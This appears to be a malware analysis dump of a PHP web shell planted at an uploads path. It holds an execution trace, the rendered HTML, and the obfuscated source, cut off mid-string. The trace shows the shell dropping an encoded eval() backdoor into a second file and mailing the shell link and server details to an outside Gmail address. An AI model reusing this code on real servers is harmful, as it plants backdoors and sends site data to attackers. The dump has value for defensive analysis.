4	91	0	0.668882	733720	fwrite	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	181	2	resource(14) of type (stream)	'<?php eval(base64_decode(\'CiBnb3RvIFA0d0pNOyBBaTgxMDogJHgwelJ5ID0gJHVENjRfQ29tKCR1RDY0X0MwbSgkdUQ2NF9jMG0oIlwxMjVcMTE1XDE3MVx4NDFceDRhXHgzN1x4NWFceDJiXHg1Mlx4MzhcMTEwXDU3XHg0OFx4NGZceDcxXHg0MVx4NzlcMTIzXDE0M1x4NGNcMTAzXDEyNlx4NjZcMTEyXHg3NlwxMDNceDU2XHg0YVx4NmNceDUwXHg2OFx4NGZceDYxXDEwNlw2M1x4NmVceDQ0XHg2NFwxMzFcMTQ3XHg2Zlx4NzFceDUyXHg1MFwxNDFcNTdcNjZceDRkXDU3XHg3NVx4NzFcNjZcMTYyXDExMlwxNzJceDc5XHg0N1wxNzJceDZmXDE3Mlx4NjFceDQxXHgyYlx4NTdceDQ4XHg3NlwxNzBceDY2XHgzMVwxMzJceDMwXDYzXHg2OVx4NmZceDMxXDE1Mlx4NTNce'
4	91	1	0.668975	733784
4	91	R			47731
4	92	0	0.668990	733720	fclose	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	182	1	resource(14) of type (stream)
4	92	1	0.669054	733320
4	92	R			TRUE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	183	$yol = 'http://localhost/uploads/cgi.php'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	184	$y = '<h1>Sender Yazdirildi.<br/> SITE YOL : http://localhost/uploads/cgi.php<br/>Sender Yolu : js/crs.php</h1>'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	185	$header .= 'From: SheLL Boot <suppor@nic.org>\n'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	186	$header .= 'Content-Type: text/html;\r\n charset=utf-8\n'
4	93	0	0.669160	733624	mail	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	188	4	'byhero44@gmail.com'	'Hacklink Bildiri'	'<h1>Sender Yazdirildi.<br/> SITE YOL : http://localhost/uploads/cgi.php<br/>Sender Yolu : js/crs.php</h1>'	'From: SheLL Boot <suppor@nic.org>\nContent-Type: text/html;\r\n charset=utf-8\n'
4	93	1	0.670138	733768
4	93	R			FALSE
4	94	0	0.670162	733624	mail	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	189	4	'byhero44@gmail.com'	'Hacklink Bildiri'	'<h1>Sender Yazdirildi.<br/> SITE YOL : http://localhost/uploads/cgi.php<br/>Sender Yolu : js/crs.php</h1>'	'From: SheLL Boot <suppor@nic.org>\nContent-Type: text/html;\r\n charset=utf-8\n'
4	94	1	0.670988	733768
4	94	R			FALSE
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	193	$kime = 'byhero44@gmail.com'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	194	$baslik = 'cgi 2022 log'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	195	$EL_MuHaMMeD = 'Dosya Yolu : /var/www/html\r\n'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	196	$EL_MuHaMMeD .= 'Server Admin : webmaster@localhost\r\n'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	197	$EL_MuHaMMeD .= 'Server isletim sistemi : Apache/2.4.52 (Ubuntu)\r\n'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	198	$EL_MuHaMMeD .= 'Shell Link : http://localhost/uploads/cgi.php\r\n'
3		A						/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	199	$EL_MuHaMMeD .= 'Avlanan Site : localhost\r\n'
4	95	0	0.671114	733624	mail	0		/var/www/html/uploads/cgi.php(4) : eval()'d code(1) : eval()'d code	200	3	'byhero44@gmail.com'	'cgi 2022 log'	'Dosya Yolu : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer isletim sistemi : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/cgi.php\r\nAvlanan Site : localhost\r\n'
4	95	1	0.671853	733720
4	95	R			FALSE
3	19	1	0.671880	733624
2	7	1	0.671893	625008
1	3	1	0.671901	621712
			0.671940	540904
TRACE END   [2023-02-13 00:41:35.853095]


Generated HTML code

<html><head></head><body text="white" bgcolor="#000000">
<center><font color="white" face="courier" new="">CGI Shell</font><br>+- <font color="red" face="courier" size="2">Lumayan Buat Read Directory</font> -+


<title>[+] CGI Shell [+]</title>


<center>
    <table width="100%" height="173">
        <tbody><tr><td class="td" style="border-bottom-width:thin;border-top-width:thin"><form method="post">
<center>
              <input type="submit" name="elgass" value="Grab">
</center>
        </form></td>

</tr></tbody></table></center></center></body></html>

Original PHP code

<?php
$stt1 = "Sy1LzNFQsrdT0isuKYovyi8xNNZIr8rMS8tJLEkFskrzkvNz\x434pSi4upI5yUWJxqZhKfkpq\x63n5Kq\x41\x62SzKLVMQ6W4pMR\x41EwlY\x41w\x41\x3d";
$stt0 = "\x3d0h9\x63exwt/\x622E\x62\x2bNMEz3Jj6P//xn\x2bvLj0hs/LYHz7jwu\x42hQQ2n\x63oMfdO2Nlw\x42l2\x2bn6eHnJ0P8w2e43gR08pS6K8Z\x61t7q9hFxo8HwRwoLFE\x41P6fRwEXHrGqOl6\x63u/GxTszRE\x42\x2bdpHR83Go2LrE7fnP9N7/UV6834xWJ\x2bIjXKRg0rsMlhH/qu94NH21tuE/Z\x43oJT59vq92k2\x43vq8LYj9eYs5/8jzu\x63k1/oW10PMqRPe\x63G\x43UlqQKV\x42I\x412\x41g\x2bVIw\x41ePSX\x61V70RofF\x41\x62gmjX\x41nKw1wT/x4/X\x41z//wn13vPOq2\x631l\x43N8ToE8O\x61VH\x2bY1rHLOf79hre/d3Nn8R3\x2bH\x631\x2bw3f7\x614/rnrrff2SW/5\x43O4\x2bf\x61O\x62mw\x42\x43uH\x43zDsh6/P9I7TK32jOlfd9Vz/P2rHO79dUvO\x2b2zX\x2brexnF\x61Zzd\x43NuxfsTQ\x43l/LiT8ni5WJHr760X91EP\x2b\x2b\x43rFuUwxdKWweoQ4n1Oxeo5\x2b9doF9jHU\x2bfxHdF\x61QlLTQj5O\x2bwnf//ueo5j0\x41/un\x62woLn0N\x618Tdu\x2byT/DWPi0op4TkDpMmOIifU2Xv9s\x2bzj\x43\x42pFfuk9oXfK\x2b\x42U\x42k0Ptr9133sL\x63KH\x63I0znxnD\x63z/\x63\x41u\x62\x62//rMP42QZ\x435OGD\x61GP64j42l6s2R8efvze7\x43P/1zWD429493FOzFtqDvpUM\x2byYzxnQHsP0Gsvgs1OIeYPx\x2bR9\x41P6XT7TY\x41Y2sIV0\x42O\x42w\x437hj4dL\x2b8ITG/tU2/K0Q\x42oOd\x61XPquQJ6xij9mFssjwrnDZ\x42Q\x63qtRz/XF4U8jKU87z\x43z/77P/9J083wHxfz/rny\x2bzXf\x41NZY/9KyzPWT\x612/Hf\x42D65/Nn6XE4tG\x42nDLK\x2bR\x626PGOrsjx14T/1\x62edhP6O96\x43w\x41p912\x41NMDrti\x2b9\x42fqO\x62lzd5HFJQ8uy1\x2b98vi2wf/Ld7s\x2brYkv\x63575ffRH48L\x63LeO98F\x62fsYzT\x62jO\x2b63N876/Hn3vfRHf1X2ve/lsLjOl7/77nw7V\x615/s//9RhZk2x0rt5ph/O//3Hfe/fvve\x2bGq\x41\x2b/PL4d89nH\x62P\x2b3du6Fv/\x43f8iwd7RzhKW/N\x2b4hPPu5jP9\x43f8\x4261zmzvMentzzK5\x2bXHfLsw\x62eGDxY/LjntwMDuspP7TPPu\x2b8j3\x61LTP\x2bxnuw7/\x631hn1p6szPFq0h\x43/Iw64mZKO3j4Xw7EX\x62kFPLhkPvvDkvYZf613vr\x62//rHmf2R56z7v74LYjH/vdmv/\x41rWS6/j20\x41g971\x62286j\x43v6zF\x2b75Oe1\x2b0P\x2b8m5JF/ugHfMZ33/37j7/vL1tKl\x2bgDs5\x2bZMFFfrxMLg66p05\x43\x41\x63mim22eeZdEnFU/vsO\x41\x43mZxfMVugewP\x439rYlsf7/\x2bpT\x2b8PGHw\x2bS\x2b6Mu\x62\x63GPs\x63\x42\x625dLIwvY\x2bXy4RVtGZOT\x62Hee5Y2P2xK\x61H\x427\x2bp3ZoZpG1Z2xn1d7lV\x63h3\x63/twy\x2bhP/MrxR5WNy02\x62/5O6QlrF98znzz\x63zsdeY8gV\x62hVWXKyug31H1Uu\x62\x42x\x62\x2bXnzxquhynhzv1j8\x63M\x42npxY\x63yR7IP\x62Pv1vip\x61O\x41QqPp6GEU\x41yKLS5u0\x62\x63xTW2Dx\x62t5\x62iGxW\x2blrWVu0\x63Zmv4WKrIGiPHtIyTy/4T5\x61/l7lmV9z9NZz1es3m3/X\x625zSUZ3k8xi2yrs18dm\x62U3p7Y2\x62kr8kUZF//mhnxnRuds\x61X1f\x41qI\x63H/KPGg3hs2\x61RoGtX7NF9k5\x41F53EI/N\x61rnENkfZgu\x61DSp2\x2bXMZP\x62pX\x41YdlE3\x2bQI97uqI8H3h7\x63D2L3q2\x43p/1u2z\x42WeDM\x2bqS9jP/\x43h\x62v/SMF2XjRkGQQjzT4wOh6WiPZV0UTg7\x61Dv\x62rh40R5\x61I9jXSKh6\x43jm73guL3W6Jm\x42V6Xy/MD\x630Pk23F0QeGx3TLf2xHqPFHxhlG4\x414eZ4/JT/p/WsHHZw\x2bK\x63K1Dx\x2bYiR\x61fPPZ45fi9sgHHxUqkzv\x63XhXZ9D8zE12U8GWXty7GPqe3FoW71\x61HxqN7K5\x63gX\x2bz/NhHk8uYEJj\x63xlt80V8Hsy551WuvRJQtLWrw0ks9g\x62jqUe6r\x61Rmd\x43umH1R25g2VRTjo9\x41FnrflI\x2bfuM7GJTTWPdXf\x2bzEzhOw\x611K\x2b6W2LisisQ1Y\x63vHfsy58F8pkL0\x61LZlN28urs9ew2sNiXZU/TfThifuWqtwZhP\x42W7zsgGyv\x63HOdvfm0ErMjGpOLZJFdG1Z\x41WXKhiFy\x4209N\x61K/Zl6DOR\x2bxS\x62GMPKnHi5k\x63DshjeS\x61rfnfxrMfph\x2b0zdHqiWuR\x62zrpRzu/nL/N6Yro\x2bLME/lmfn6zlkZMXE/SLmYL9Xw4X\x63Z6rSzdyGw\x42pPXt\x618\x62p\x2bmGNzttsukOLX\x61V\x41\x62uz0N5\x2bXyRu\x62kINxnf\x41nRWW6QUPiMx4mPkPQlvwRV9gdfQvkFd9L\x413\x42ltKDuzKefMYrT01UHToSn14oP1Ko\x62J8\x43\x625hx8nMvZd\x42Gs2oYV0tGgH\x413x\x41E5g7StK\x43\x62fs\x61eQtwy8LgP5govhkLLdHs3Q1j8hzP59\x6368wr3S06\x61pT1M\x6206VN2T5XeXisvPFYtsz1V3ufGnjZdH79/p9RmsDiXqdO\x2bEF9qr6hk6M\x62VGXzyHSjWR\x61V\x62V\x63nVV5\x42\x62PJFOvzDi8Z\x620ei9\x41E7fT\x63Ef6wO2P7G5Zhf3gMXR/xJEX\x43Dt5X42wo8jeZKtGLKZjFVuduGkHsuTEQ2i2Kmrw8W8F2K74XJpdO0qFrJg8\x2bwl8mu2iTpksMs\x43G0y9k\x41w3zZ2\x62\x2b3\x428HPGwsMvo/5RXej7e\x42iTWn106z\x42sZe3\x62E3i54o3VqyVt\x62\x62oeGnI5jquftX\x62g\x43/w\x2buRf3MM\x63DvP47x124NO7zHm\x2byX/tznwKq\x636QZZl2Rqkrd24M\x61T1oY\x43rJI\x2b\x414yNKd2JqLfQhz\x610QK8le\x617VsShVk/d3Q2yMn\x2bTous6ry5LEwTMYm\x61H\x63yir\x63VVXO\x43\x2bxrGqjl3J06udVSt\x42\x61K4Krx0zvS/rj5vPN8P0NPy9UvI2/w5nX7MnMGT\x62v8F20RM\x61M9w\x61\x63wGr0um50875z6n3NLf3G9JtT5jS/m0f5\x61\x62NGuHmyhs6ZszZfnGSdojjQz\x61ktp1y15\x63O94\x61X4F\x42d6\x61S6hG/\x43SGxMXJjv4q\x615\x62tN115/\x41x2dn8\x2beONxFikN\x2bT3Ket4k\x41eHM33FkTj\x63sEpew0O\x42wn3E\x42\x63f\x41\x43qvLGmxMYhMPRHStv\x61Sq\x2by2yR4ys\x419Vk6L4ODh5xIvFlon2w8fxN22DK7\x41Y\x2bhLoxUS\x42pxkYgtz/ZTyOPuZHZJ\x63Pgjx2\x42\x2bZUxNuwzVvF\x2bg\x41q9quX\x42s\x632\x61yx\x61uf6q8nxS9Nr\x41uXjhj2iTx5JyDtNt\x41mGDXjw\x41v0m4o\x2bg1E1qmzRG5t9oPwQ/X4K6\x61kr\x634kv\x63e4\x2b3u\x41119K6pQsdE/xuT\x62LE\x63Fu\x62VRdHi7pxV7JuLoPr8HYnm5\x62MEL0u\x63TKeRFeZwMwXiq714IO6jxiGPZ7\x61\x63v\x43J\x43OkFMr5Y/LYGsz41yUOiO\x62I5dyyeXyux\x43jDy2Z8R4hoezxuX2VYn6ZuP4ufO\x62lEdTggdyxl\x63\x62ipdjWtNT337R4U\x61XDiZJHD\x6238Ngt\x62L2ddMTux/QhlzD6HMVTwRVPzq6JreWdl/lj3ZFX0N/WiJ/QpVthpW7ZDY2N2vR/VFD58\x632izGf3w\x630Ikvy9\x61\x62NQnLmj\x2bRyheWG0eZrV48Gsyrjk\x62nPiRGInEvU1dwxYRseG2Hx\x61kLhnofl\x619\x632OOkfxuYpXudu0L3FDEzJ5Zv9\x2b3PjP5v\x42hekmpYnHgkrN6NPffr9mprsPXvqt\x62S1vP7detigvLH\x62E\x437mZO\x2bz5gnnyun6DJwnSnvDtzFjx9x0U3hY\x2bwhyPWvlS64EqE2U\x2b6M4\x61s7vyo7I\x63\x43O7qfoTZ/jfoJtsT\x2bD\x42uQVnt\x62\x61T\x2bFRtLwGw01rX9LM3guM5m8gPh9tOlL8EfLpzi\x2bi4Ivjt8x4fj743Oj\x2bs\x43Qn/On9s13N1uT5Z0l33XsZ2Y\x63Xd1Dmejty\x2ben44FgYsXxvhtKl/SG5PzTv\x2b\x61Lw\x62I8O\x439dg\x62Jznw0P8\x63pqLYLYJqYPYJ57sd\x63yXQv3u\x61D89OWTfn\x2bxY\x63E2mEYlXjL5fk\x43\x62it4Y9OM4TdD\x437d\x41G2wUEm2\x2buZpJVkzV2538\x61\x42ygoovuSGn\x41TMwU5fXmVu\x2bDuWWXL5\x2bFu\x41n8QN3H1doPTomj\x2bFt\x6129iuV8QG/W6/KQ\x6283uW274TupYirdz8tsZ\x41zfdE/L22gdx\x41/G/\x42WeHsnylqtdrfLU\x43VfZZl\x61nJMKvMQeE5\x42glI56\x61V\x42nmJPsu\x61sLLxv\x624q\x2bU/jZ6ZF9Ykve7KGxKqr610FrEHdssenX9mXvO8jYVLqu/3fo/Q\x63NqlThzwLw4l5/r\x61NLwqdvx4x\x41nrH6u58olX5\x62\x2b\x63PDpVM\x2b7IO\x2bhWTFxpqk/0\x62W3MXqhsy1xYJFt\x63GX7duOKm7wy77U\x422eq6P\x63JV1qNO\x43i\x43Pn6TEmFRf1fIOm4EQ9PPL1OP3T3qZV\x61ro2ujm\x6252Fr5G9YTdiXnyrl0l82I\x620i\x41fw0\x61fpz\x41G7pt\x43zfRP9Hh6WqfD\x63xdd9\x41qYUMSGsF7Q8V7FVmX6\x61\x43l141x3SDPVl3dpxfjeJQvN6lD1j/YPFQfD0HeGVMnq57m3wrh\x2byzWh10\x63euYyQ/ljeKn0NJlPZZ\x2bipX1WPRp\x61/59EKg1jodq7JMHEM0zYltHW\x2bHWL9q0NnztovDov4N\x61P0NWu\x42lq\x62ZovQ/pqPP0/eidYdzpo3DJ5M7dQXg\x63\x42i2D0XW\x2bHm0X\x43O\x62yjYWsoZV2jJS/Q10mRW\x62w5OKG40\x62Zul6N3De4dG2wI/VSy345O\x61UGTIXM\x61ueXmvNNL8KgX\x2bm52KO\x62\x42P3x8nYPZwM\x61d02Zon1g1\x432KmNy1URfxvFk/E9HhfiI\x43/X\x61SyLDL\x2bwnV\x61Ew3\x63mZnXSdz\x61Ly\x42wPH4RDNy\x62U7n\x2bH7\x42TTDYRuVXZqjKNjSEzx9\x42ir\x2biJdusLVWvi5MI97j5Oh96\x41\x42fp3Do\x625dW2DuQqSm6WOIGFi6K6M6uz3\x61eK53vEOH0JDeyLSuyX4IuHfH4HXHTLdNLd\x2bG8\x42f\x423T8YnROq3DhwY8qZu8Fuv\x63Pz\x62exQ\x61ten89N3kvjULH\x4283Me\x62\x63nzJE\x2b1HPjr4Pu1QX\x63jj9UydgGZeK\x43/GXmnG62v\x41eSsfy/2\x62xy5HJ2\x42UWR6IeP40k7ghm9Y7dpps1/i8\x2bi\x63JMr5M\x63\x43QH\x2buOP\x62V1W8R9ipLsML7Jj\x43yWMLuHYnrXR55wZ\x43e\x416Jq2eMjI/gZ2hlmzdQ4GMoXs\x61G58WMIVLuW\x43WtsW\x63e\x63R2ZZNMZf0\x61vQI0PHne8ELLdr3LOWyr9Vy\x2bO3JkQvHx7kl8Jw\x622jkE2UeEMMGo63ljpYq/\x41W8zmM8Ktd\x2bLQ6uZwRZMH7J\x630/t9x\x61hh5rwzn9q13\x63tfkY9\x2beSn\x43jZeWewm\x2bTMfN/g5/EnyoHs5JwEI\x63jzpPG3QD\x41ws\x2bRU\x435m0KYn/D7exsneD3\x62K/e585Y\x63sdrfSw\x2bxYYjfgPTUfi\x627utv4U/9rpizLX0\x2bd\x2by1e02h/5Nk67\x2bGVf7KfdPrXeQ2h5\x62SW4PQkrQL53o05zQ55H/tRIJ/4XEVW\x62Pp\x63vhp/8Fkiux5I\x63WMNkjMInJpUPmyFVzi8\x2bhJ\x2b\x63\x43sqx8NVM1\x2bGdd0\x613fj9\x2b4\x43Y1PeI\x61zFL03\x63H1TGP\x62qeXyTML9OL3UW\x632m4NfOksj9J2M9l8jMuklM8QTMe0N3tTXTmG\x410w\x41r0LDzVpf\x42fnJ7XpPIPxSgx\x43YYfHNt\x63OPxp\x61\x2bSzfo1T\x428dL0Vuh8dizy7l1W/zzP\x63vUTm4D\x2bM1jLgfDqS1v\x42tK8HsZR6O\x635\x41m1/5\x428vQ\x63GJNr\x437ilPyPTjZ\x43fPl/8jt/Sf/i7meD/dMeg534He1wJSGjpjQRKphrm7nlZgfI3KZYuMHqt5vYO\x624kJO2pv\x43/Frp\x61\x43e/5L\x42r\x62XDJk\x62pNLUrq/zZ\x41v4njPQXI8U\x613\x41\x62Qk\x2bwk\x2b9PpVqHk6tM\x61P4O3GKWV\x2bE2Lv\x61rz7kp2j4nRKjf2t\x62k6J8\x2bw2Np\x62Di6ev6sFWzN3\x42O8\x42IG2R4oN8XR6dkjJOx6tzDd/ol\x2bnYq4d\x63EOLY\x2b9\x61NxuN4DmVd\x62GHum\x2bKnVYDplQfpT9Re4zHxd\x423ZHOd/26GJnyznZsgPlHpVPfJ\x42v5UiF8JYeh\x61h1io0S4j5eqrGS\x61YHOPOqyLJPy8Zz8\x631SIo31Mus\x422KX5MSUX6L69T\x61GkuO4Z4kifmT6sK6fINeIykrwi4L6DYgkTMieME7Pw/wYz\x63Ss\x41m3f/7z\x6147Ku/jGfhj4PdV6uejmyr4u/qepNoS1\x2buv0ofvx/nR67M7w\x61vV0xpY1z9keO5\x435DYegH28\x410dev74y99fJ\x637h8\x2b7O98\x43x0Q1HUW4qpNX/V3qsNpZ\x2bf7p5GOvNq2I9h6nOtTUKMILR3s\x41T\x2bkw\x62VJnMetK8jZyZ\x629\x63Ud5qtjkjZjjp\x61ZH78QWz\x62G\x612Y6fq4rWNqXg1k6H7nI554L5lhR\x63s81z/2FI39d\x43e3GvseWx\x615nD\x61KPTh5\x62ur\x2bhsLg\x2byslW\x41/IH7\x61Hs4mjvxS8\x42zFx\x62MH17zEQ\x2bmj94\x41/UKx\x438JUmTFnfxE\x41\x63yvw\x63NmvHeqvV\x435\x63k3wNTH9LwuXFf\x41g3Z7pZYe4NRfnyqtRz\x62OthnIt3x8ZG/oH1dKOjO05Ze9zGo380z9d\x2b5Fe\x42O/XvPu3vnH7/hr2/Dm7S\x2b9H\x41wfy24IqtD\x2bnOlk\x63Gt\x62HIn5ff\x61W4OZySfYyU\x63nXN8iunuj\x63\x41O7t\x62yZWw9rZq/u60UeHEvWx2fjTn\x2bXHfZnMm\x61NdO9E9hZq5\x63wi98\x62P4nTUqh076qL/jKxPItzuiyHhmrxmDp\x62InS71ZKDG7mTjRxSHNgL0fV\x427zD/\x419FYug\x43g\x43\x2bi\x6289loZJfZk3HNRkm9eoX6D\x418\x43s\x43\x62up\x2b2YsSfnwwywFxdfKDLwjR\x2bi\x42t4nzdf\x2b/L443zJspeXetH7Z7E/VLelyMwuTo3\x62zu19\x61ve\x61nLutgfQY\x62OqzlZd2dPo3FsxOlr\x41x\x2bIJT\x639d\x63Ffjw\x41vJ\x63NJq7wXZ8D\x619\x42u\x41PHOx4Se7vHPTI\x63NRKHT8WS\x41Wi38p3hFKyek5XUF\x435OOdPzynY7jyZ\x41H\x427vSz/TVX2yWwIfHK48n\x63ekl4g1i0FrV\x63GxT\x2b4Lh9xkj3GK\x62eJN2\x61yf1y9lHTu\x41IHhORqvh0Z\x41uI0WTVSPz2P8\x63i\x62xXi\x41D5vJn3wdz\x43s47\x41\x42JO\x2b3eIjy9essNw47OWe\x2bPSeGPSuWOr42/FU3OQ5u4F\x63fYYewyrxe\x2bgfdt9rTPVm0oWlT\x42gF26S\x43\x61jSH8wKWZriPFN3GgQzZfQeXs0mfwsJw7qtluw/lz\x41t2kw1xkv\x43ie1E\x614NDrVE8kvxeTxehYmfw\x2bH\x2bR\x43yE4DLPw744NO5qe3vzx\x61\x2bFZGKun\x42f9Re1r5smYsylw4\x43ODV\x61Gj\x42e\x42/pJ4S8\x2by3mh72/8N3eJqU\x63iuZifd\x61hqnMlsx/4fm\x61l/wyp\x2bTWmz10shUf6v\x42WrDturWZr3WhOiz30J45VMyOX\x61\x62R0Iu\x63l3y\x2b7ux7\x61ed3d6Ke/ZINLpfZogpi\x61\x2burt5\x61kXv5LPp150dDq9FrFNEOH1dkHShO8m5r7iyHeuRv8d926\x63ld\x63x\x624P0f2X\x61gZP/RW2E8\x63jHk9Y0Kx\x63hdGPd\x61Gdyd3\x2b/XkFro6\x62dXujwd2ed/1YH/Pg\x42\x6160R5S4\x2b7lx3zQ\x2bM2y5rRXS/E\x2beS6/8evPFEZt\x4168eN29\x2b//j\x62pU\x62\x63qjp/6\x63pSuv9HxRuO\x42RT5\x63VqoH4\x62NHdwy5w\x63\x63GG\x62ROeiL2knhdlVjoEExN\x62rxk8MLPM\x41fDfsXNf\x63dm0s3184kOuW5g7VrLzXkRtyRh\x2bmwYkZipL\x62ngyRxG5L\x41wkjmP2qvyn38FkfxpIXh\x61hLIEX5\x63L2\x628Ly7dSOVmYuUrSujt/zo9J4LWw/\x2bjrNW2h2uO\x63EnREQq19x88\x435Y\x63m9\x2b\x425\x434wInLuntywI6xyfSzH5\x63vf7\x2b\x63u\x2b0Ju2jnM5d8x\x63pK9pHX/Hw8j\x633vPXiv6QHeVfD\x62OtNX58srYvKd\x41\x43P0hG\x613qPhp\x2btW1\x61U\x61oJG\x438P\x41hjkT532duvM9X9kP9gNWdWd5T0QFD1dk4Q\x42Oz/dIYdOsPZoM/Gd4Nz5SSE7Fq1\x2b4984OVeyjo4M0rwJM\x62\x43Xzv\x42xdug5E4I\x62E6KewOti24Y\x636xR2T5ExzX/y92\x61k5y8vffrh5Fq3FPJe\x434\x2b0GPw1Uyr/l8pYQuGu\x2bidzFr\x426msnNQl6yuszY5F5lhifWzpWfQtJWDjuIe\x2bn\x63mT8\x62\x63WM/Pk5p9H\x42\x628xm2l3UlJu5rNLpdemyXTn\x42/zoXsFreSHfWKqtTGIwDw\x62Ym\x422Y200XxexHwsfOhFD9TIrT2\x42r\x619LHkM3ZLgdesysD\x2bXMo6v\x41fi5ir8Owr9UJtK0djP\x43\x2bN0FhhOI\x2bMMe6Ip3\x628DO1eGoI8KIHwGmwyf4f413Tj6QWouTXf\x43wTUUyX80F6M\x42i\x2bKwRtzJ8PV/G7\x62\x41eHzfdol0WNt4M9FOWFs3WW/jOE\x42jfhtV\x61ip4X\x42x\x43W7E4Rg3P\x2b7X\x61KInzuLKdHv\x2bP8X6sXZV/\x41xeGxf\x41MzW1oFT\x2bgefRx4j2\x61pdPKkSEu2uiL\x416oy7g60f\x42WP5xieyqi2\x61\x2bLUmO\x62Dju3hzq6R\x41JGfvwZDFpN7T\x41v\x4206PXwISL\x43n38krSoID88XvhUrgLfF05gv\x43WjGm/1L\x41uoP\x418E9h21EF1O90Q\x631\x43\x43NZv\x63r4pi\x2bG\x41nP18L\x41eFVY\x41LlRP\x4235qLf\x41L\x2bi\x62hiXQRML\x63P6\x42M/q\x63jtW\x2b\x43QVN1g9vqG3r9zIom\x62Nt\x61Qp\x43Z/Htwi\x2b\x41\x63E\x42UJFqov\x41whU7WvisOsUN\x2bI\x2bH0KmVVFpiEDO9onY\x42fi\x63zOPDgpV3\x42W\x2bPDNuv\x63Nq\x43\x611TplsrLF3EUN8\x63EdysdS8L\x41/\x4127x0i\x2bXETjrgIx6Mn\x62\x41\x2b\x431LjUTRqVTk3QOlsw58dKqXxGvIN\x637U/V\x61HHGq\x62G26s/xy\x62VnDeyO96O\x43kS\x61t105U9y\x6107IfTjvFhf4RO/yS18IoLpkU\x61DKxthep3xp\x43XjkKLX/hYrpjU\x42utH3tvwp7toW7\x2bE4Kq4LHnf\x62rwpkK\x61VPpxVUF\x61pO39R\x63U6PhdQrJ\x42\x632WqiZ6junSZ3w/JrP\x414JWyo3l\x42v\x41\x61X\x63SfzT8TD5SE\x43i7PDeGs\x2bLRKpR1F5\x41qKtyo7\x62Qt1d\x628SGDPiuSqyG\x616e7Hm1\x2bJo1RhpuOd0S8IOd\x42LMdXNO\x2bUYlP7DI9Xs\x43\x61pvE8MQ3ZDu\x42WvoEHzqFL\x62\x415Niu\x435JQQ3Xyujgr\x42lW\x62VFp0J0i/\x63/Wxd\x417\x61Z1ZRtFdnny\x63Fo0Ytf\x41g\x61oi/0\x43\x62V\x42\x42fy9wOXsmVer3fGw1Ipdr\x62oN\x410WpM4/QrRd8WOjif9Kwl5Jt7dNK9Gl7xpf2m\x62\x61h\x61VJ6k4zP8/6k\x41zmHz/\x43jKtkKo\x43frq2k\x61fr/Ftv8j\x42ru6W5q8yi6\x42\x42wSm8V\x62QTluPizNpqmfLhT4PEtnPg8fEMzDoefLnKfGh0Yr4wv\x435G14PhmlRILZfO\x429f3volwTz3R\x63H\x2bhDHij\x418ZLep\x2boU6zdPfYZLuO\x639/unNModXG9\x63h/RvP\x43uHDfJJpG9JVj7dD\x63OF\x62Sd5lQpmZtKdvrtt/yqGzPMm5sR\x41gnQ4V\x43\x2bZKp5f/\x43h\x62m9P\x41uQS\x637trTppFo/D6lkwr6PUf3zT\x63M\x61jOp\x42mI\x621VqW\x61WFZh\x2bPnllH3JdN42\x63/\x42untMS\x61xM6qrqdOlQTw182ngXI/zumvgVG2hJu\x61fx3ZQJieY\x63\x62F6D2pxe1Vp\x431\x624U\x2bRfN\x43pO6Qk/wUF1Q3oeeDrKfFkriOeDoxNtzf08\x41TXrENHP\x42\x61nLp4v4tM7y5L32UxDsS3PvVvyuI1XHqZTw7hZj5SenM3Qit\x62t0/Fdgin\x629r3sSt1dmhfxx\x41v\x41slV3SywLI0gs\x414Mj7s77L\x41Qq\x62oJ\x61Ug8Ng1\x422WGu\x61\x2bPOK0EGXGFjG8v2u1mUlUD/G2E62L33yqtgSu7ok6\x63\x62YrwYnzG\x61WjXh\x624Vx\x63J7qMoDyUdVXfq1dU0i/gkzK\x43imH7JsWT1G\x41VrpWPNLg5ppj68u\x61eNQu\x62DDip\x62kk3hWT\x62vs2p4WNXfhQXrFoyvggI1\x2bIIT\x63Ot\x61\x61VF4D/\x433Xhry5\x2bFIxk7g4K\x62ui2hQwiTojUXqX\x41UHTuy3Ovi9MoG\x2bKQk\x63ts1RotrESZ7k6P1QOzKED4s\x62gqxZITQI47pMWz0Y7r8SuVzXMOQR22vp2J0ztz1f4M\x63er\x42R\x2bD\x41d8Ww19Rk\x43tE3ioI\x62TknYnGlPip3vfoEZpq0\x61mV\x2bxrTWgOvRhqVQZJ7\x61d\x639dNY4GUlmxnUtr9t6\x63Dr93j9LOqtSVT5k7g4W\x61F\x426\x61\x637zMDyF8\x62vGwXgQXERF\x2bHYrLqV6olYv9UsrUsG\x42Wu36SrTVfkWFp1WtFvO5/gOGwq\x41nPSOv\x42WuXuqnNneJ\x62t\x61\x63\x61vFdfVQVe\x62hL7631eR3l/HUkSF2kYUsQh01NUUyOGRU5eVrh\x42Z6Lon\x62xEjzNWDWIVk\x61mQ\x621sVDJVD\x63nwsKJuG\x61f\x43zStP0ehZyn\x622ldr0/M210W\x61m\x43UqjiohOgJTilY\x62gZS\x62sjL\x635OReSH6lGrsueRFmKpwUUdo35u6J7k\x61i\x62Ll16l/Vi\x414xNkDSkNNUiKMjr3\x2bW\x62\x61s6l6Z71Wn\x61\x42lN0K92O3Sx\x62xeDzTQm4kW52Si\x62\x61URqngdTfGUw0Y0X\x2bdg5FzJ\x43yxwq\x612S\x616Nr\x62dtz5H2rnRVDhsWYvinivY5f8\x430P5nRXTxTH8G4epXS5Gl3W\x2bx08L\x62LJVPjs2TM\x62Ox34pgYttPRdLhx27ORkwj1O\x4136ZXm4\x41r7T\x630OYp7ue